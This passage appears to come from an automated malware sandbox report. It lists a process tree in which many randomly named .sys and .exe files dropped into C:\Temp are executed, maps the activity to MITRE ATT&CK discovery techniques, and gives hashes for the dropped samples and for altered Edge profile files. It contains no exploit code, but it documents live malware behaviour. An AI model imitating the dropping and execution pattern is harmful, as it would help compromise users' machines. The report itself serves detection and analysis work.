      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6192,i,2756423258305815116,17779855417720460132,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:14
      4⤵
      PID:5404

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2328

C:\Temp\xrpjhczxupmkeczx.sys
C:\Temp\xrpjhczxupmkeczx.sys
1⤵
- Executes dropped EXE
PID:2992

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5892

C:\Temp\zwuomgezwu.sys
C:\Temp\zwuomgezwu.sys
1⤵
- Executes dropped EXE
PID:2624

C:\Temp\ytrojhtrlj.sys
C:\Temp\ytrojhtrlj.sys
1⤵
- Executes dropped EXE
PID:6008

C:\Temp\oljdbvtrlj.sys
C:\Temp\oljdbvtrlj.sys
1⤵
- Executes dropped EXE
PID:3428

C:\Temp\olgdyvtnlg.sys
C:\Temp\olgdyvtnlg.sys
1⤵
- Executes dropped EXE
PID:2080

C:\Temp\avsnlfdxvp.sys
C:\Temp\avsnlfdxvp.sys
1⤵
- Executes dropped EXE
PID:5808

C:\Temp\fdavsqkifd.sys
C:\Temp\fdavsqkifd.sys
1⤵
- Executes dropped EXE
PID:2180

C:\Temp\vpnhfzxspk.sys
C:\Temp\vpnhfzxspk.sys
1⤵
- Executes dropped EXE
PID:4316

C:\Temp\xrpkhcaurp.sys
C:\Temp\xrpkhcaurp.sys
1⤵
- Executes dropped EXE
PID:3380

C:\Temp\pmhezwuomh.sys
C:\Temp\pmhezwuomh.sys
1⤵
- Executes dropped EXE
PID:3576

C:\Temp\ztrmjhcwur.sys
C:\Temp\ztrmjhcwur.sys
1⤵
- Executes dropped EXE
PID:2396

C:\Temp\gebwtrojge.sys
C:\Temp\gebwtrojge.sys
1⤵
PID:3380

C:\Temp\oigaytqljd.sys
C:\Temp\oigaytqljd.sys
1⤵
PID:3576

C:\Temp\gdyvtqlida.sys
C:\Temp\gdyvtqlida.sys
1⤵
PID:1128

C:\Temp\gayvqnlfay.sys
C:\Temp\gayvqnlfay.sys
1⤵
PID:5192

C:\Temp\caysqkicav.sys
C:\Temp\caysqkicav.sys
1⤵
PID:5244

C:\Temp\fzxrpmkicz.sys
C:\Temp\fzxrpmkicz.sys
1⤵
PID:2396

C:\Temp\fzxrpjhbzu.sys
C:\Temp\fzxrpjhbzu.sys
1⤵
PID:4812

C:\Temp\pmhezwromh.sys
C:\Temp\pmhezwromh.sys
1⤵
PID:2944

C:\Temp\mgebzwrojg.sys
C:\Temp\mgebzwrojg.sys
1⤵
PID:5880

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

avsnlfdxvp.sys

Path C:\Temp\avsnlfdxvp.sys
Size 293KB
SHA256 ce3bfc223ab366bd9f1fd9be6bd98d266937b7e0c7779f052a4b96be13572ae8
MD5 1ac443b2a05107283cb704dca4c0ef53
SHA1 cad53c176f955e3d83fe52cdd256af53f165ee41
SHA512 2191d6d9783d6a0af0920c77024db5ca35f7b45baf9d10603001ba887ab2c20211fad61f35b4d275ea6bd66ec061b1761c32e08c25446c2db00cfb1382dc9621
SSDEEP 3072:NtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:NIJjiJcbI03GBc3ucY5DCSj
TLSH
T136545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bzurpjhcwr.exe

Path C:\Temp\bzurpjhcwr.exe
Size 384KB
SHA256 e35eeb8a0a82205f02d249ff76a49c6017669bf62f58f7b8edcb59470080c73b
MD5 4448e73bc67e5452166932239c850866
SHA1 cffe19cc03045ef2ddd5894ce9c42add53a753ff
SHA512 cc77bdebbc6e448e0f42b4463c2f0434c5fb22d8cc381526d96a57ec2c5800c9f005bbcecf9796e070096e9f096c185d561065e019ba902781a41b1288240eec
SSDEEP 3072:L9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:5ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T10E847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dbvtqlidbv.exe

Path C:\Temp\dbvtqlidbv.exe
Size 384KB
SHA256 6aa495354c8ab8f03eddb6a82482b12bc1fe98f2e9c1d63b77488afbdb5ba436
MD5 8e4a786c0391ac84c6f1717aadd3d496
SHA1 953f3ce80e4b64d583a1bc5d0a8e8a58b2d4ce99
SHA512 584ecd6d4f1e3ad5aa1bd9f70ff04e3c51e9ab0aa4eb8768d8874b9d181ed15c92ff4bd09917c4a02a83f9558318c244edbd8b8708cbecf4c414267575a6aa0e
SSDEEP 3072:U9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:uctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T172847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_bzurpjhcwr.exe

Path C:\Temp\i_bzurpjhcwr.exe
Size 384KB
SHA256 6f81a94d812d201d8ed47ba809ee4be0fda519119131622591ec4c3e5ff324d8
MD5 a1cace9b3e0e6beb0ea0d35b81ad785f
SHA1 284958907e4b36b88948638ba24f80b064c1529e
SHA512 4ebc42e17af9167f2c9bf753f522f3652af36c25e26e5e761d2a150b54e17ce0219cc9f8aa44b1452fc2d571da8fea1afcea30fffc1a2f6fb3772436d9557684
SSDEEP 3072:I9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:KctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T18B847A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_dbvtqlidbv.exe

Path C:\Temp\i_dbvtqlidbv.exe
Size 384KB
SHA256 541c4568c24fe7d07b5357bcf8aea5dae8dadde687b91bbc6fd13eff1942c6d4
MD5 cf44e39888d885d1ddfe9e74929f7419
SHA1 ed5d5e02813b8a16d0a1ad18ded7bdb66f7607db
SHA512 b29142a744de4aded37f09bb92ef8f6744824c8b44fef9313d48d6c3ca61d88733d90eb58ef90b6093394fd58936c83cb6b37339ae1e29975da608cf8427aee9
SSDEEP 3072:b9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:JctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1D7846B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_oljebwqojg.exe

Path C:\Temp\i_oljebwqojg.exe
Size 384KB
SHA256 b0f62b16a62625e132a80f3c4d8170fbc3cc84a03d274558249034c01b086b92
MD5 2389d0442823ec383644095e88e8afa3
SHA1 9e8caafe97fe26d93012f9995d5be035362060f4
SHA512 463b1aaf4225ee461d3fa800e0623fe50c8acf90095d20e56c74a2c46eb0fb4209f7e0043d50de623f4b3dc02cabdf8c70f5f397485f0b6e7d0701ea76d63b40
SSDEEP 3072:q9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:QctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1B6847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qoigbywtgd.exe

Path C:\Temp\i_qoigbywtgd.exe
Size 384KB
SHA256 810c41a545219682f27280d0d53a203b264d574952271ca313d929d2fd13ca80
MD5 d382d158f8ded9dd38f036a8736136c4
SHA1 f831b91cbc07d31fcc86b72266ac5ba12ae335f7
SHA512 ff133b031e844d3f22ede9c58352fc1c64ce50a03f3c8dd429791299c49ac88ac6d200bc3863d9b94914e8cee6e229d80338182f1f1c4dfdd144c861861d0730
SSDEEP 3072:29ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:kctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1D7847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_uomjebwtrm.exe

Path C:\Temp\i_uomjebwtrm.exe
Size 384KB
SHA256 9c9cf2b6917c005a656f7a1a5f13abb63fdc2a3aa252199b82938eeba2093bb4
MD5 e9c5c02c3249a6384a6fcf2ffe6e2e48
SHA1 1b3089cbdb19c4953707b6413d3aed556c5d72e3
SHA512 4b57cb7d4ea5457641fc17eeb4ccd284d361d13fe45b45a8832642bf59a29b3753c41251379014284d13ab3b84a290b9639730cd966de44b6c27dc41d4861218
SSDEEP 3072:x9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:7ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1CD847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vsqkifdxvq.exe

Path C:\Temp\i_vsqkifdxvq.exe
Size 384KB
SHA256 bc108bc3a416317ada6c4b8ff04dd06596afd97308d42ce6e160007498603cd1
MD5 f4ed9f91a87ebc6704262e9c37b78951
SHA1 f828df944c9fdb895be633d28e1f3480005c3547
SHA512 1c86d55af4e786815b79c5baf6215dab0e51aedac928b0b62075eb637344767c2760c1f5be14c53c6820a17610370e8a580edd79c2a6b6894eabedb72b2b5c0d
SSDEEP 3072:i9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:4ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T13D847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

olgdyvtnlg.sys

Path C:\Temp\olgdyvtnlg.sys
Size 293KB
SHA256 a8cb6b9025db5638ada807cace2a699977baf928dd2f89daccf7076e642c87f5
MD5 611a4daeb63987f85ffaecc28a99e241
SHA1 b30d776eb6ce368dba10c46fb37aa24ff8ee1f91
SHA512 fbe7b8eadbe29c68b0a469adc2f6e68efcb62cac63882287bcf3f0e56b5bec8ec7135373702999c365d3034bfd1f07f17f4414875a1ed24c711e31cab27ee838
SSDEEP 3072:DtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:DIJjiJcbI03GBc3ucY5DCSj
TLSH
T1E2545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

oljdbvtrlj.sys

Path C:\Temp\oljdbvtrlj.sys
Size 293KB
SHA256 b93d43b29b628ae9ecd480fc010bb4f650ec0c339dc96696e06e2399baa795a4
MD5 888f60380ec250520d5f8b3497aca98f
SHA1 51daacee68602a446f1f5592373d6cbcf0f52cb2
SHA512 43c2672bbcf408b6f82dab81a5f4cc23aabbda1862e8868112d5358651ab3e3d155c001c2af8cb13ebffccef5cc8b1f421f9e553911742d0e9bd44d70438f497
SSDEEP 3072:PtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:PIJjiJcbI03GBc3ucY5DCSj
TLSH
T188545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

oljebwqojg.exe

Path C:\Temp\oljebwqojg.exe
Size 384KB
SHA256 c30261370bc51290a5108334fed5418e02882726f8ae73f12c56bfeebcedb8ee
MD5 9cbe1f2b1d4aa258dc61c3674b541f72
SHA1 f9413347fb570189b1ba33e4e94c2dcdec2b6f90
SHA512 9a095c189d94c4cd276a95815d9c45496ad6777b96145e123dc0e1273d362f92c0958f5f75bfb31676fe30794ec0ff6b18872c596f67444165769efa07f595c4
SSDEEP 3072:b9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:JctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T138847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoigbywtgd.exe

Path C:\Temp\qoigbywtgd.exe
Size 384KB
SHA256 9c9007b56151281a04afd06b3250ae05fef5c1a40d2470b7fbeae1fedf5c03bf
MD5 7c184597e0bdef7164568cefb87cf88d
SHA1 65f71736286050b52d71170b5a2e09e97141023e
SHA512 7fabf525734f0c99cd4e1ecb5f8a8c484c7181f8160cd62b967fb408de712b0819c99992370b63fc20b8277e6019049aac446ffdfe60d1a8c62c50f4202b2dac
SSDEEP 3072:w9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:CctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T18D847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uomjebwtrm.exe

Path C:\Temp\uomjebwtrm.exe
Size 384KB
SHA256 0f847b6539e042eba2dbb88bc2a5a4fd6bf6bd575aaefca4f9e684096e67a796
MD5 7fa71e65bc264875685d4c5d6a39dab4
SHA1 cdc0992fd1ccadc136e1766dcd1359c2f9f7d04c
SHA512 b9c0fc07eabe677e5ec426e3f18ee538c6102b6185b896d65d503a795361bb3533e59af62e2d1af702e84768fca757ef29e46eec2de250f030fdc687fef74141
SSDEEP 3072:P9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:VctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T147847A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vsqkifdxvq.exe

Path C:\Temp\vsqkifdxvq.exe
Size 384KB
SHA256 1301becb00e2dffe19ae2b2c5bac827c37fc5fe0a5f452e3e0b57f5eb0798340
MD5 7ab508fb39bb6583be91b50676902e35
SHA1 b8d2041cd9590ca332a12688b2d78acb7b605232
SHA512 ff778a6fbe608c13f1d1182f0d0a72a08ff326aa43499421729be569759f3cd19d63b2343d8db82b495dbcf9681807a1c38e16923ccf96a98284962219df7d0d
SSDEEP 3072:19ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:XctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T14E846A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xrpjhczxupmkeczx.exe

Path C:\Temp\xrpjhczxupmkeczx.exe
Size 384KB
SHA256 a03c9ae7cd3ce0173060b6a0beb682a8e7d9c4b525bb638679f1a59d9f5d0d0d
MD5 1e0c6057849bfecbead8c882dcc4488b
SHA1 c7981a70a29c4be2c47c150c202abeaa374ec5cc
SHA512 9739e82ffbdf870e6f7c2bdcc8a906876dc7afaac2da0cc8f7c5133144b2e3ada7b50fd0d8e5e060da2fc36cb3e9ac2ca837243411623da95fb45501547ba23c
SSDEEP 3072:l9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:HctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1AD847A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xrpjhczxupmkeczx.sys

Path C:\Temp\xrpjhczxupmkeczx.sys
Size 293KB
SHA256 d2bc29bcb92fb4955702845e4c2df61f1be9c7284765d7220876aad3f403bc70
MD5 12006cfb0fc6f1dd5b39aadc72fbef78
SHA1 00ca1b0933267459d4dd6876841f2a7402b2dd9a
SHA512 06225b7da46fcc3159f0297ecd971411853f6f08b0ea6a96b47731d16abfa106d5399985018821a509ee01632216e2f9b0d7546f831d8df51f0151e9a1d7724a
SSDEEP 3072:+tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:+IJjiJcbI03GBc3ucY5DCSj
TLSH
T123545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ytrojhtrlj.sys

Path C:\Temp\ytrojhtrlj.sys
Size 293KB
SHA256 77326d02d1e67e4b63483cb85dd96a301081613fd750bb260bc9cbcefb6c819b
MD5 4809e725ca40ee9339de16b60a2acee9
SHA1 bc70ce3a8b2b91359acc708c677912cb6cfcc8f6
SHA512 7f53e90e8f78c5a70ab4a5c89d4136a915001c7f98a8110df11dd93c22adad39340698e5aef5327d8ece5fc95d1cbc79aaaa14177240e3d96bfc4de81cbf86a7
SSDEEP 3072:stKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:sIJjiJcbI03GBc3ucY5DCSj
TLSH
T16D545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zwuomgezwu.sys

Path C:\Temp\zwuomgezwu.sys
Size 293KB
SHA256 54501a7c16060b49b7153b4542c7c4d65fb263cd3edb191900bebe864bdf04de
MD5 5a62e1bace43848911657764fdf7169f
SHA1 f399886404ce70076677014ffc1b83c2d907b42d
SHA512 d9fef176a1242e6d317b7ef6b8b38552cf427e5a402701bd6d76388cffa925fc8754d4a3670a21480f238f33c4a2e20080a1a5df92817a4a16573ae805a10c4f
SSDEEP 3072:VtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:VIJjiJcbI03GBc3ucY5DCSj
TLSH
T1ED545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 174576d263d17c1ded542f85fe22b729d39689265635c9c57a2bfd1af11bcb69
MD5 e54a3dd3758ae26f8eb9c7149476114c
SHA1 dd4159ecc029af9dd3da72970ac8bfa500a0651c
SHA512 eabda803f8f816ad2a6d57d3ce37f9c8cf72ef9a0a1ebecd6f39990ef65120d12a76e6ae5a2cb62c423511cbb36f0da6835b1dfa5907c5559c0ead5b0735873c
TLSH
T1E6D092757764A90CC9A5B0322CA7B29AA322A8300495860444E5F2A8CDB6A82567B5AE
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2cfb77611c6372588cbb86850301c7d4d2a98bc9870148a0233cb9ff0ba848ae
MD5 30dd1402eab1adcd1b7a879da690d903
SHA1 5ad2617a2f54fb4647f217e450aa852cfab95912
SHA512 396e3e6a4f4d2b6cdab94a4fc9fcd07b5b3b76f067ce5666b89e9fb8d48b00e16fe2a2e9189c9d96e3f8d9d2f1a719132c8694f2859c94a22a5b7ecb4e74a3fc
TLSH
T1A3D02B343300650CC89070321C52B249532158300440420000D0B158CC7168102370AE
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 87dadabb816b86591e0501443a5d0178182c91e997bd24ec225369a030b30029
MD5 622096e69b23001dcc06b07e03e54b3e
SHA1 6e02881a1380ff3593912603c24e0f5329f61885
SHA512 8fde6c4451724c7a13827d01e278956c90f2d7b8b5607eb37cf2785c5767a6e8c2110f6f987f368023b4385e79bcabe8b2bb7d34ac5f98e60050e4d6685b6f74
TLSH
T1566185D72B9508E2C721ADB893D952B3B7B0D4CFD3CF1D10517DA53608397C0410C026
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe596c3d.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe596c3d.TMP
Size 3KB
SHA256 53f9eb42115391cec5e295d028e672706de1973719746db62d91a18f4a39290f
MD5 9479c6476300f26a304627d9f264fc6b
SHA1 2ab034eecaaa973bda61d30ee1cd2b27a63c88d6
SHA512 aa44378012e089835dbf8d32e824c45033412ea533e090ffb119ad1f4207881fa77898754e57ced1ba7ce55368cff4e93a17f2dadfaae58d40f374c42b577522
TLSH
T1236184DB2BA508E2C721ADB8A3D953B7B7B0D4CFD3CF5E1050BDA536083AB80410C026
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 0658322409de8a5f9e2d4785f634126167b5af408620d7f575a202e383290544
MD5 72183d11834d7010f7348d31b556af8a
SHA1 1eb5b115e9dda4f973c890e0323f3a128f0de59e
SHA512 7648b66bbe368d57a22267fc6b1c23782cbe82261e9a27ffe7442e6fefe0dd7659b80778db934cb809bdb27ee36eac2bcb3e727082c14483d23d84467a18d247
TLSH
T1A451EFF3C3E9826DC91156F0AA187E2BCE2D0954832C3C5AC8E4AF5B93E2471E141A5E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 77f795142f0db11eb8b6759087e409a97f4a1203804358fcb88f47708fd13778
MD5 aafb6e67d8dacfc49dfce6580fd7ae53
SHA1 f74c95b03022e15be369ec9d4543c74a1e087896
SHA512 7b1ed8fbfca8da19aa3e59d3857accad6b86c30f2932030f434163bbddf3262f8990f568e1d48c239d61a18f83def0bdeae5e625f6bac717dbd52308c805f803
SSDEEP 192:sxRLRFyM/jK1Ml8wCI/fZsC77ZazoA8p9R/g6+WNCyx/YtZIvl9WqnGYIgtJ:sxRLZ8I/fZsC71XP/5R/si9Xl3
TLSH
T1CB52C915AA349A77CCDBD209FA957B53D2F81573A2901E44A9FCCB0C05E76ED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 78b62a32b1f5c0a52a63613280809a6ece4a32ac609a1e930cb2a02031c1210c
MD5 a0eb41fe7516f4f7880c99fd604aa139
SHA1 33e8c8c190fd92c1a97cfeb33240c235daa9fa4e
SHA512 7bb04c78bf173d0e26c9a83e384408880d2f1527fa5f2b2dc8e783e8b1140a920b8a9c9a04cbcd60bb44d220c7b817fec1478f6ffc710ff56ee2504509d5650f
SSDEEP 192:sxR8RFyM/jK1Ml8wCI/fZsM77ZazoA8p9R/g6+WNCyx/YtZIvl9WqnGYIgDkJ:sxR8Z8I/fZsM71XP/5R/si9XlU
TLSH
T18962C915AA345A77CCDBD209FA957B53D2F8157392901E44A9FCCB0C05E76DD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 c1c75223b251a2d62823693e79dec475546926712ea2531c4c819c9e88bb721e
MD5 e9aea61d8a244c0534a5834ee9d9ca09
SHA1 4cb8c8acb899df4c469b1b363f0821c61f28ae7a
SHA512 5a7f65d7bef979af1eb6f6f91c62b328f09e0d24a0916a2f2c819c314022cd7d658aa5810ce24d0fcd8ec8b89161c5ad2291e371fcec54594e15d65b16d9014e
SSDEEP 192:sxR8RFyM/jK1Ml8UQJCI/fZsM77ZazoA8prR/g6+WNCyx/YtZIBl9WqnGYIgDkJ:sxR8ZqwI/fZsM71X9/5R/sibXlU
TLSH
T1AF62D916A9349A77CCDBD219FA957B53D2F8157392900E44A9FCCB0C05E76DD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 6e6652a434e0206da4dfe81833b1fb1aa6294504038d83b6afee543ddbf67fe9
MD5 08efffd04b4e6d13188d9e7772bcd5a2
SHA1 1028365f6739dca722d2b45b399a2369a150c254
SHA512 2e0a05b346092b205724847c4f1d431f7944f425a66891dd44ffd47cdad623d133dcff5d699682dd844ec8a0ce31fe089f4e77dcd5d8292550cf8f3d54b19824
SSDEEP 768:dOwS1wBzwRbU7pLuL761wiWg1zwsfMZwK8F1+UoAYDCx9Tuqh0VfUC9xbog/OVcp:dOwS1wBzwRbYE761wiWg1zwsfMZwKu18
TLSH
T1E1E2FC3B684CCB7F4F404A9CEC297E9AADE801CF56D8895447FA880C03C66EB551B5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a084e.TMP

